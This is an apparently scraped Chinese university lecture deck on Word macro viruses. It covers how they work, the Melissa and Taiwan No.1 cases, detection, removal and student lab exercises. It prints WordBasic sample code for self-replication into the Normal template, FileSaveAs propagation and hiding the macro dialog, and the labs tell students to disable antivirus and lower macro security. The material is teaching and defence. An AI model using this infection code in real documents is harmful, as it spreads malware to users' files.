《計算機病毒及其防范技術(shù)(第2版)課件-宏病毒.ppt》由會員分享,可在線閱讀,更多相關(guān)《計算機病毒及其防范技術(shù)(第2版)課件-宏病毒.ppt(32頁珍藏版)》請在裝配圖網(wǎng)上搜索。
1、宏病毒,上海交通大學信息安全工程學院 劉功申,本章的學習目標,掌握宏病毒概念 掌握宏病毒制作機制 了解宏病毒實例 掌握宏病毒防范方法 掌握宏病毒實驗,宏病毒定義,宏病毒是利用系統(tǒng)的開放性專門制作的一個或多個具有病毒特點的宏的集合,這種病毒宏的集合影響到計算機的使用,并能通過文檔及模板進行自我復制及傳播。,支持宏病毒的應(yīng)用系統(tǒng)特點,要達到宏病毒傳染的目的,系統(tǒng)須具備以下特性: 可以把特定的宏命令代碼附加在指定文件上; 可以實現(xiàn)宏命令在不同文件之間的共享和傳遞; 可以在未經(jīng)使用者許可的情況下獲取某種控制權(quán)。,可支持宏病毒的應(yīng)用系統(tǒng),Microsoft公司的WORD、EXCEL、Access、Pow
2、erPoint、Project、Visio等產(chǎn)品; Inprise公司的Lotus AmiPro字處理軟件; 此外,還包括AutoCAD、Corel Draw、PDF等等。,宏病毒的特點,傳播極快 制作、變種方便 破壞可能性極大 多平臺交叉感染 地域性問題,宏病毒的共性,宏病毒會感染DOC文檔文件和DOT模板文件。 打開時激活,通過Normal模板傳播。 通過AutoOpen,AutoClose,AutoNew和AutoExit等自動宏獲得控制權(quán)。 病毒宏中必然含有對文檔讀寫操作的宏指令。,宏病毒的作用機制,模板在建立整個文檔中所起的作用是作為一個基類。新文檔繼承模板的屬性(包括宏、菜單、格式
3、等)。 編制宏病毒要用到的宏如右表,,Word宏病毒感染過程 編制語言VBAWordBasic等 環(huán)境:VBE,,,,經(jīng)典宏病毒-美麗莎 Melissa,利用微軟的Word宏和Outlook發(fā)送載有80個色情文學網(wǎng)址的列表 它可感染W(wǎng)ord 97或Word 2000,是一種Word宏病毒 當用戶打開一個受到感染的Word 97或Word 2000文件時,病毒會自動通過被感染者的Outlook的通訊錄,給前50個地址發(fā)出帶有W97M_MELISSA病毒的電子郵件。,,染毒現(xiàn)象: 信箱中將可以看到標題為“Important message from XX(來自XX的重要信息)”的郵件,其中XX是發(fā)
4、件人的名字。 正文中寫道,“這是你索要的文件不要給其他人看;)。”此外,該郵件還包括一個名為list.doc的Word文檔附件,其中包含大量的色情網(wǎng)址。,經(jīng)典宏病毒-臺灣NO.1B,病毒發(fā)作時,只要打開一個Word文檔,就會被要求計算一道5個至多4位數(shù)的連乘算式。 由于算式的復雜度,很難在短時間內(nèi)計算出答案,一旦計算錯誤,Word就會自動開啟20個新窗口,然后再次生成一道類似的算式,接著不斷往復,直至系統(tǒng)資源耗盡。,經(jīng)典宏病毒-O97M.Tristate.C病毒,O97M.Tristate.C宏病毒可以交叉感染MS Word 97、MS Excwel 97和MS PowerPoint 97等多
5、種程序生成的數(shù)據(jù)文件。 病毒從Word文檔、Excel電子表格或PowerPoint幻燈片被激活,并進行交叉感染。 病毒在Excel中被激活時,它在Excel Startup目錄下查找文檔BOOK1.XLS,如果不存在,病毒將在該目錄下創(chuàng)建一個被感染的工作簿并使Excel的宏病毒保護功能失效。病毒存放在被感染的電子表格的“ThisWorkbook”中。,宏語言,Office程序和它們所使用的宏語言,,,使用VBA可以實現(xiàn)的功能包括: (1)使重復的任務(wù)自動化 (2)自定義Word工具欄、菜單和界面 (3)簡化模板的使用 (4)自定義Word,使其成為開發(fā)平臺,宏病毒關(guān)鍵技術(shù),(1)自動執(zhí)行的示
6、例代碼: Sub MAIN On Error Goto Abort iMacroCount = CountMacros(0, 0) 檢查是否感染該文檔文件 For i = 1 To iMacroCount If MacroName$(i, 0, 0) = PayLoad Then bInstalled = - 1,,檢查正常的宏 End If If MacroName$(i, 0, 0) = FileSaveAs Then bTooMuchTrouble = - 1 但如果FILESAVEAS 宏存在那么傳染比較困難. End If Next i If Not bInstalled And N
7、ot bTooMuchTrouble Then,,加入FileSaveAs 和拷貝到AutoExec and FileSaveAs. 有效代碼不檢查是否感染. 把代碼加密使不可讀. iWW6IInstance = Val(GetDocumentVar$(WW6Infector)) sMe$ = FileName$() Macro$ = sMe$ + :PayLoad MacroCopy Macro$, Global:PayLoad, 1 Macro$ = sMe$ + :FileOpen MacroCopy Macro$, Global:FileOpen, 1 Macro$ = sMe$ +
8、:FileSaveAs MacroCopy Macro$, Global:FileSaveAs, 1 Macro$ = sMe$ + :AutoExec MacroCopy Macro$, Global:AutoExec, 1 SetProfileString WW6I, Str$(iWW6IInstance + 1) End If Abort: End Sub,VBA使用的保護方法?,,(2) SaveAs 程序: 這是一個當使用FILE/SAVE AS功能時,拷貝宏病毒到活動文本的程序。它使用了許多類似于AutoExec程序的技巧。盡管示例代碼短小,但足以制作一個小巧的宏病毒。 Sub M
9、AIN Dim dlg As FileSaveAs GetCurValues dlg Dialog dlg,,If (Dlg.Format = 0) Or (dlg.Format = 1) Then MacroCopy FileSaveAs, WindowName$() + :FileSaveAs MacroCopy FileSave , WindowName$() + :FileSave MacroCopy PayLoad, WindowName$() + :PayLoad MacroCopy FileOpen, WindowName$() + :FileOpen Dlg.Format =
10、1 End If FileDaveAs dlg End Sub,,(3) 特殊代碼: 還有些方法可以用來隱藏和使你的宏病毒更有趣。當有些人使用TOOLS/MICRO菜單觀察宏時,該代碼可以達到掩飾病毒的目的。 Sub MAIN On Error Goto ErrorRoutine OldName$ = NomFichier$() If macros.bDebug Then MsgBox start ToolsMacro Dim dlg As OutilsMacro If macros.bDebug Then MsgBox 1 GetCurValues dlg If macros.bDebug
11、Then MsgBox 2 On Error Goto Skip Dialog dlg OutilsMacro dlg,,Skip: On Error Goto ErrorRoutine End If REM enable automacros DisableAutoMacros 0 macros.SaveToGlobal(OldName$) macros.objective Goto Done ErrorRoutine: On Error Goto Done If macros.bDebug Then MsgBox error + Str$(Err) + occurred End If Do
12、ne: End Sub,Word宏病毒發(fā)現(xiàn)方法,在Normal模板發(fā)現(xiàn)有AutoOpen等自動宏,F(xiàn)ileSave等標準宏或一些怪名字的宏,而自己又沒有加載特殊模板,這就有可能有病毒了。 當打開一個文檔時,未經(jīng)任何改動,立即就有存盤操作 打開以DOC為后綴的文件在另存菜單中只能以模板方式存盤 無法使用“另存為(Save As)”修改路徑 不能再被轉(zhuǎn)存為其它格式的文件 DOC文件具備與DOT文檔相一致的內(nèi)部格式(盡管文件擴展名未改變)。,手工清除宏病毒的方法,1打開宏菜單,在通用模板中刪除您認為是病毒的宏。 2打開帶有病毒宏的文檔(模板),然后打開宏菜單,在通用模板和病毒文件名模板中刪除您認為是
13、病毒的宏。 3保存清潔文檔。,預防宏病毒,對于已染毒的模板文件(Normal.dot),應(yīng)先其中的自動宏清除(AutoOpen、AutoClose、AutoNew),然后將其置成只讀方式。 對于其他已染毒的文件均應(yīng)將自動宏清除,這樣就可以達到清除病毒的目的。 平時使用時要加強預防。對來歷不明的宏最好刪除。 先禁止所有自動執(zhí)行的宏。 安裝反病毒軟件。,Word宏病毒實驗,【實驗?zāi)康摹?演示宏的編寫 說明宏的原理及其安全漏洞和缺陷 理解宏病毒的作用機制 【實驗平臺】 Windows系列操作系統(tǒng) Word 2003應(yīng)用程序,,【實驗步驟】 軟件設(shè)置:關(guān)閉殺毒軟件的自動防護功能。 打開Word 200
14、3,在工具宏安全性中,將安全級別設(shè)置為低,在可靠發(fā)行商選項卡中,選擇信任任何所有安裝的加載項和模板,選擇信任visual basic項目的訪問。,,實驗八:自我復制功能演示。 打開一個word文檔,然后按Alt+F11調(diào)用宏編寫窗口(工具宏Visual Basic宏編輯器),在左側(cè)的projectMicrosoft Word對象ThisDocument中輸入源代碼(參見源代碼一或者從光盤上拷貝,位置為:“光盤盤符: Experimentmacromacro_1.txt”),保存。此時當前word文檔就含有宏病毒,只要下次打開這個word文檔,就會執(zhí)行以上代碼,并將自身復制到Normal.dot
15、(word文檔的公共模板)和當前文檔的ThisDocument中,同時改變函數(shù)名(模板中為Document_Close,當前文檔為Document_Open)。此時所有的word文檔打開和關(guān)閉時,都將運行以上的病毒代碼,可以加入適當?shù)膼阂獯a,影響word的正常使用,本例中只是簡單的跳出一個提示框。,,實驗九:類臺灣1號病毒實驗 對實驗一的惡意代碼稍加修改,使其具有一定的破壞性(這里以著名宏病毒“臺灣1號”的惡意代碼部分為基礎(chǔ),為使其在word2003版本中運行,且降低破壞性,對源代碼作適當修改)。實驗二的源碼參見源代碼二或者從光盤上拷貝,位置為:“光盤盤符: Experimentmacrom
16、acro_2.txt”。,,該病毒的效果如下:當打開被感染的word文檔時,首先進行自我復制,感染word模板,然后檢查日期,看是否是1日(即在每月的1日會發(fā)作),然后跳出一個對話框,要求用戶進行一次心算游戲,這里只用四個小于10的數(shù)相乘,如果用戶的計算正確,那么就會新建一個文檔,跳出如下字幕:“何謂宏病毒,答案:我就是......;如何預防宏病毒,答案:不要看我......”。如果計算錯誤,新建20個寫有“宏病毒”字樣的word文檔,然后再一次進行心算游戲,總共進行3次,然后跳出程序。關(guān)閉文檔的時候也會執(zhí)行同樣的詢問。,,清除宏病毒 對每一個受感染的word文檔進行如下操作: 打開受感染的word文檔,進入宏編輯環(huán)境(Alt+F11),打開NormalMicrosoft Word對象This Document,清除其中的病毒代碼(只要刪除所有內(nèi)容即可)。 然后打開ProjectMicrosoft WordThis Document,清除其中的病毒代碼。 實際上,模板的病毒代碼只要在處理最后一個受感染文件時清除即可,然而清除模板病毒后,如果重新打開其他已感染文件,模板將再次被感染,因此為了保證病毒被清除,可以查看每一個受感染文檔的模板,如果存在病毒代碼,都進行一次清除。,,謝謝 Q&A,